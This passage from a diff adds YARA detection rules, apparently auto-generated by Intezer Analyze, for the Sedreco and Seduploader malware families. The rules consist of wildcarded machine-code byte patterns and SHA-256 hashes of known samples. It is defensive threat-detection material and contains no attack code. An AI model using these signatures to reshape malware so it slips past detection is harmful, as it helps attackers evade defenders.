+		$block_52 = { 5? 8D ?? ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_53 = { 8B ?? ?? 33 ?? 85 ?? 5? 0F 94 ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? C2 }
+		$block_54 = { 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 98 ?? 8D ?? ?? ?? 4? }
+		$block_55 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_56 = { 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F 83 }
+		$block_57 = { 6A ?? 8D ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_58 = { 8B ?? 33 ?? B9 ?? ?? ?? ?? F7 ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? 0F 83 }
+		$block_59 = { 8B ?? 33 ?? BB ?? ?? ?? ?? F7 ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? 0F 83 }
+		$block_60 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_61 = { 80 6? ?? ?? 6A ?? 5? 33 ?? 8D ?? ?? 39 ?? ?? F3 ?? 66 ?? AA 0F 84 }
+		$block_62 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 4? 80 C? ?? 4? 88 ?? ?? 75 }
+		$block_63 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_64 = { 6A ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_65 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_66 = { FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 98 ?? 8D ?? ?? ?? 8D ?? ?? E9 }
+		$block_67 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_68 = { 6A ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? 0F 84 }
+		$block_69 = { FF 7? ?? E8 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? C9 C2 }
+		$block_70 = { 6A ?? 6A ?? 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 6A ?? 8D ?? ?? ?? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_72 = { 8D ?? ?? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_73 = { C7 ?? ?? ?? ?? ?? ?? 0F 6E ?? ?? 0F 72 ?? ?? 0F 7E ?? ?? EB }
+		$block_74 = { 5? 64 ?? ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? AD 8B ?? ?? E9 }
+		$block_75 = { 8B ?? ?? 03 ?? ?? 33 ?? B9 ?? ?? ?? ?? F7 ?? 39 ?? ?? 0F 83 }
+		$block_76 = { FF 1? ?? ?? ?? ?? 0F B6 ?? ?? 03 ?? ?? 8B ?? ?? 88 ?? ?? EB }
+		$block_77 = { 4? 83 ?? ?? 83 ?? ?? 3B ?? 89 ?? ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_78 = { B0 ?? 8A ?? ?? ?? ?? ?? F6 ?? ?? 88 ?? ?? ?? ?? ?? 0F 85 }
+		$block_79 = { 8B ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_80 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? 89 ?? ?? 0F 85 }
+		$block_81 = { 6A ?? 6A ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_82 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 81 3? ?? ?? ?? ?? 0F 85 }
+		$block_83 = { 33 ?? 83 ?? ?? 0F 9F ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_84 = { 8B ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_85 = { 8B ?? ?? 2D ?? ?? ?? ?? 89 ?? ?? 3D ?? ?? ?? ?? 0F 87 }
+		$block_86 = { 81 E? ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_87 = { 33 ?? 5? 85 ?? 5? 5? 0F 94 ?? 5? 81 C? ?? ?? ?? ?? C2 }
+		$block_88 = { 83 ?? ?? ?? 4? 83 ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 82 }
+		$block_89 = { FF 1? ?? ?? ?? ?? 0F B6 ?? 03 ?? 88 ?? ?? FE ?? EB }
+		$block_90 = { 8B ?? ?? 4? 83 ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 82 }
+		$block_91 = { 8B ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_92 = { 8B ?? ?? ?? ?? ?? 5? FF 9? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_93 = { 4? 83 ?? ?? 3B ?? 89 ?? ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_94 = { 8B ?? ?? ?? ?? ?? 81 3? ?? ?? ?? ?? 0F 95 ?? 88 }
+		$block_95 = { 8B ?? ?? ?? ?? ?? FF D? 3B ?? ?? ?? ?? ?? 0F 86 }
+		$block_96 = { FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? C9 C2 }
+		$block_97 = { E8 ?? ?? ?? ?? 0F B6 ?? 03 ?? 88 ?? ?? FE ?? EB }
+		$block_98 = { 8B ?? ?? 83 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_99 = { BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B ?? 0F 4E ?? EB }
+
+	condition:
+		hash.sha256(0, filesize) == "102b0158bcd5a8b64de44d9f765193dd80df1504e398ce52d37b7c8c33f2552a" or
+		hash.sha256(0, filesize) == "eb5ab0c73b28d7b7c7e29411609b7686813f3bf629ec3a764bfdf2f9a19b5341" or
+		hash.sha256(0, filesize) == "4f26e4178b078a4be3842e3b86bf5299c7f7ad386a226b4da5a2cca5c9129f6d" or
+		hash.sha256(0, filesize) == "d5debe5d88e76a409b9bc3f69a02a7497d333934d66f6aaa30eb22e45b81a9ab" or
+		hash.sha256(0, filesize) == "31a0906b0d8b07167129e134009dc307c2d92522da5709e52b67d3c5a70adf93" or
+		hash.sha256(0, filesize) == "e6d09ce32cc62b6f17279204fac1771a6eb35077bb79471115e8dfed2c86cd75" or
+		hash.sha256(0, filesize) == "744f2a1e1a62dff2a8d5bd273304a4d21ee37a3c9b0bdcffeeca50374bd10a39" or
+		hash.sha256(0, filesize) == "1fa3e580eabfcf7ffc8f59d96ee0d6b4ab96a7a33ab73558e454d7ce79147c41" or
+		hash.sha256(0, filesize) == "9392776d6d8e697468ab671b43dce2b7baf97057b53bd3517ecd77a081eff67d" or
+		hash.sha256(0, filesize) == "d54173be095b688016528f18dc97f2d583efcf5ce562ec766afc0b294eb51ac7" or
+		hash.sha256(0, filesize) == "423a0799efe41b28a8b765fa505699183c8278d5a7bf07658b3bd507bfa5346f" or
+		hash.sha256(0, filesize) == "51dae85f5971dbdeb601c974350b80ec1104f304f08893d80e24a52279e1edc7" or
+		hash.sha256(0, filesize) == "e917166adf6e1135444f327d8fff6ec6c6a8606d65dda4e24c2f416d23b69d45" or
+		hash.sha256(0, filesize) == "1b5b7c0818ca68e7107ab18d89476314d854b02f0809f8c530fb4334a864c594" or
+		hash.sha256(0, filesize) == "7695f20315f84bb1d940149b17dd58383210ea3498450b45fefa22a450e79683" or
+		hash.sha256(0, filesize) == "22c3718bf7df29555098738f77c3139dae39dcdd34b39dab72df04ade4cffa7f" or
+		hash.sha256(0, filesize) == "67ecc3b8c6057090c7982883e8d9d0389a8a8f6e8b00f9e9b73c45b008241322" or
+		hash.sha256(0, filesize) == "29cc2e69f65b9ce5fe04eb9b65942b2dabf48e41770f0a49eb698271b99d2787" or
+		hash.sha256(0, filesize) == "69e9fd2edc1b752117c1d864b18cfa0cca6443825d909ef483a3664f851f5bc8" or
+		hash.sha256(0, filesize) == "03ed773bde6c6a1ac3b24bde6003322df8d41d3d1c85109b8669c430b58d2f69" or
+		hash.sha256(0, filesize) == "0c7cdbfc5226c3b94b17f70f5a82da016c054fe12b050ee7f3c28db900ea98a5" or
+		hash.sha256(0, filesize) == "5ac044cf6bab6ebfdda66f92d3b420f5f6d4629a535d80e43705ab55f3b03ea0" or
+		hash.sha256(0, filesize) == "c8087186a215553d2f95c68c03398e17e67517553f6e9a8adc906faa51bce946" or
+		hash.sha256(0, filesize) == "ce554d57333bdbccebb5e2e8d16a304947981e48ea2a5cc3d5f4ced7c1f56df3" or
+		hash.sha256(0, filesize) == "dbfeaebd4e716bf6a0f2518b7edba3dda475f2de7ef70c3ff6399cfee2e47ec0" or
+		hash.sha256(0, filesize) == "7edeedea096e890d59ed8435db6760dc7fa4d55f9d039fefd473ba1e43ba5838" or
+		hash.sha256(0, filesize) == "f6d107a65479bb5e8a6d885739ae4c2dcc46e9b468e5d8f388dadfc7f57719fc" or
+		hash.sha256(0, filesize) == "6cd30c85dd8a64ca529c6eab98a757fb326de639a39b597414d5340285ba91c6" or
+		hash.sha256(0, filesize) == "d58f2a799552aff8358e9c63a4345ea971b27edd14b8eac825db30a8321d1a7a" or
+		hash.sha256(0, filesize) == "7f6f9645499f5840b59fb59525343045abf91bc57183aae459dca98dc8216965" or
+		hash.sha256(0, filesize) == "4536650c9c5e5e1bb57d9bedf7f9a543d6f09addf857f0d802fb64e437b6844a" or
+		hash.sha256(0, filesize) == "4af1736b26052d95cbd106ee1a667e2ce3346f78783f1231df19282a5e738348" or
+		hash.sha256(0, filesize) == "1b3dd8aaafd750aa85185dc52672b26d67d662796847d7cbb01a35b565e74d35" or
+		hash.sha256(0, filesize) == "4a9efdfa479c8092fefee182eb7d285de23340e29e6966f1a7302a76503799a2" or
+		hash.sha256(0, filesize) == "1bab1a3e0e501d3c14652ecf60870e483ed4e90e500987c35489f17a44fef26c" or
+		hash.sha256(0, filesize) == "966660738c9e3ec103c2f8fe361c8ac20647cacaa5153197fa1917e9da99082e" or
+		12 of them
+}
+
+rule SedrecoPayload {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8D ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_1 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 4D ?? ?? 0F 84 }
+		$block_2 = { 8B ?? ?? ?? 83 ?? ?? 8B ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F B6 ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 74 }
+		$block_3 = { 33 ?? 33 ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 48 ?? ?? ?? ?? 0F 9C ?? 89 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_6 = { 8D ?? ?? ?? ?? ?? 5? 5? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 48 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 48 ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_10 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_11 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_12 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 45 ?? ?? 45 ?? ?? 48 ?? ?? FF 9? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8D ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? 89 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 8D ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_15 = { 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF D? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 8D ?? ?? C1 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 86 }
+		$block_17 = { 41 ?? ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 4D ?? ?? 44 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 9? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_19 = { 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? 8B ?? 33 ?? B9 ?? ?? ?? ?? F7 ?? 8B ?? 39 ?? ?? ?? 0F 83 }
+		$block_20 = { 4C ?? ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 0F 84 }
+		$block_21 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? FF D? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_22 = { 6A ?? 6A ?? 8D ?? ?? 5? 6A ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 0F 84 }
+		$block_23 = { 8B ?? ?? 5? 6A ?? 8B ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? 5? 5? FF D? 85 ?? 0F 84 }
+		$block_25 = { 8D ?? ?? 5? 5? 6A ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 0F 85 }
+		$block_26 = { 5? 8D ?? ?? ?? 5? 5? 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BE ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_28 = { 8D ?? ?? ?? ?? ?? 5? 5? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_30 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? ?? 3B ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_31 = { 8B ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? ?? 6A ?? 5? FF D? 8B ?? 83 ?? ?? 0F 84 }
+		$block_32 = { 6A ?? 6A ?? 8D ?? ?? ?? 5? A1 ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_33 = { 8D ?? ?? 5? 5? 6A ?? 5? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 0F 85 }
+		$block_34 = { 0F 57 ?? 5? 8B ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_36 = { A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 8B ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_37 = { 5? A1 ?? ?? ?? ?? 6A ?? FF 3? ?? ?? ?? ?? 8B ?? ?? FF D? 8B ?? 83 ?? ?? 0F 84 }
+		$block_38 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_39 = { 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? 8B ?? 33 ?? B9 ?? ?? ?? ?? F7 ?? 39 ?? ?? 0F 83 }
+		$block_40 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? A1 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_41 = { 0F B7 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 5? 5? 5? C3 }
+		$block_42 = { 8B ?? ?? ?? 4? 8A ?? 4? 88 ?? ?? ?? 8A ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 85 }
+		$block_43 = { A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 0F B6 ?? 03 ?? 88 ?? ?? FE ?? EB }
+		$block_44 = { 8B ?? ?? ?? ?? ?? 4? 83 ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 82 }
+		$block_45 = { A1 ?? ?? ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? FF D? A1 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_46 = { A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? FF D? A1 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 5? 8B ?? 83 ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? 5? C7 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_48 = { 33 ?? 8B ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { A1 ?? ?? ?? ?? 6A ?? 8B ?? ?? ?? ?? ?? 6A ?? 6A ?? 5? FF D? 85 ?? 0F 84 }
+		$block_50 = { 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 0F B6 ?? 03 ?? 88 ?? ?? FE ?? EB }
+		$block_51 = { 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 03 ?? 8B ?? 3B ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_53 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? 0F 86 }
+		$block_54 = { BF ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_55 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_56 = { 0F B6 ?? ?? ?? C6 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 }
+		$block_57 = { 33 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 5? ?? 85 ?? 0F 84 }
+		$block_58 = { 83 ?? ?? ?? 8B ?? ?? 4? 83 ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? ?? 0F 82 }
+		$block_59 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? FF 5? ?? 83 ?? ?? 0F 85 }
+		$block_60 = { 48 ?? ?? ?? ?? 8D ?? ?? 48 ?? ?? 8D ?? ?? 0F B6 ?? ?? 40 ?? ?? 74 }
+		$block_61 = { 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_62 = { 8D ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? C6 ?? ?? ?? 3B ?? 0F 86 }
+		$block_63 = { 83 ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_64 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_65 = { 8B ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_66 = { 44 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_67 = { 8B ?? ?? 0F B6 ?? ?? ?? 03 ?? 01 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_68 = { 8B ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? 5? 5? FF D? 83 ?? ?? 0F 85 }
+		$block_69 = { 83 ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_70 = { 4C ?? ?? 8D ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_72 = { 4? 8B ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? 0F 83 }
+		$block_73 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? 29 ?? ?? 0F 88 }
+		$block_74 = { B9 ?? ?? ?? ?? 01 ?? ?? 29 ?? ?? 4? 89 ?? ?? 3B ?? 0F 82 }
+		$block_75 = { FF 7? ?? A1 ?? ?? ?? ?? 5? 8B ?? ?? FF D? 83 ?? ?? 0F 85 }
+		$block_76 = { FF 1? ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_77 = { 0F B6 ?? ?? 01 ?? ?? 0F B6 ?? 01 ?? ?? 83 ?? ?? 4? 75 }
+		$block_78 = { 8B ?? ?? 8D ?? ?? 03 ?? 2B ?? 89 ?? ?? 83 ?? ?? 0F 83 }
+		$block_79 = { 8D ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 83 }
+		$block_80 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 0F 84 }
+		$block_81 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 1F }
+		$block_82 = { A1 ?? ?? ?? ?? 8B ?? ?? FF D? 3D ?? ?? ?? ?? 0F 85 }
+		$block_83 = { 8B ?? ?? 8A ?? ?? ?? 0F B6 ?? 8D ?? ?? 83 ?? ?? 77 }
+		$block_84 = { 48 ?? ?? ?? ?? ?? ?? FF 5? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_85 = { 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 03 ?? 8B ?? 66 }
+		$block_86 = { 8B ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 89 }
+		$block_87 = { 0F B6 ?? ?? 03 ?? 0F B6 ?? 03 ?? 83 ?? ?? 4? 75 }
+		$block_88 = { 8D ?? ?? 81 F? ?? ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 }
+		$block_89 = { 0F B6 ?? ?? 03 ?? 0F B6 ?? 03 ?? 8D ?? ?? 4? 75 }
+		$block_90 = { 89 ?? ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_91 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 8D }
+		$block_92 = { 8D ?? ?? ?? 41 ?? ?? 03 ?? 2B ?? 83 ?? ?? 0F 83 }
+		$block_93 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_94 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 87 }
+
+	condition:
+		hash.sha256(0, filesize) == "19d05f9a5eacb4acd748cfbf7640b842fd6ed1f4f25dc5bbe592e0e802f7ab0f" or
+		hash.sha256(0, filesize) == "69a49e535d635b55efdc1c0e5e923891832089ab1fec0ea406f4798605e42ef1" or
+		hash.sha256(0, filesize) == "02be8ba0c1d64099f0529dab3251ee6e5602493085e54abe739659abc2ea050c" or
+		hash.sha256(0, filesize) == "3580a48e47119fd36913b0108cce9b20a1adf0a2458c2b33f0d9a7df1fe140ef" or
+		hash.sha256(0, filesize) == "a939510f362c50cafee4d5a8d6c7db555a819e78e9f7614a243f6adc59190745" or
+		hash.sha256(0, filesize) == "a64340b35668f375a321cb7ee0e027391d875f64cf4f3780c83fb4e84a43c8f9" or
+		hash.sha256(0, filesize) == "74c404cfc6e8c752635b4d8a0488d0fb6801c7096fa5c1173660da0b05f44f9e" or
+		hash.sha256(0, filesize) == "c808c38fd8157e3e0fadadd6a1748e302bd0e69429697625f53ad692c539b241" or
+		hash.sha256(0, filesize) == "43e0f9b4cb9186ededff44a79db89627ce1be2fcd0d96d727aca525a0736efc9" or
+		hash.sha256(0, filesize) == "baaf5fa70b68ec9c1847d8784227e0f2dcf48d02a203f7cbffc113f4cec0f006" or
+		hash.sha256(0, filesize) == "ba1c02aa6c12794a33c4742e62cbda3c17def08732f3fbaeb801f1806770b9a0" or
+		hash.sha256(0, filesize) == "9a508287e3089d1d838271c9f19e659ea2d4b0a47de7faa7ad09191a758de862" or
+		hash.sha256(0, filesize) == "0260ed46bdf7d903ac06292a39568040fed63f4aae0a723216e53a2b29730052" or
+		hash.sha256(0, filesize) == "37bf2c811842972314956434449fd294e793b43c1a7b37cfe41af4fcc07d329d" or
+		hash.sha256(0, filesize) == "11097a7a3336e0ab124fa921b94e3d51c4e9e4424e140e96127bfcf1c10ef110" or
+		hash.sha256(0, filesize) == "a9dc96d45702538c2086a749ba2fb467ba8d8b603e513bdef62a024dfeb124cb" or
+		12 of them
+}
+
+rule SeduploaderPayload {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 5? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 83 ?? ?? 5? 8D ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_3 = { 5? 33 ?? 6A ?? 5? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 5? 85 ?? 75 }
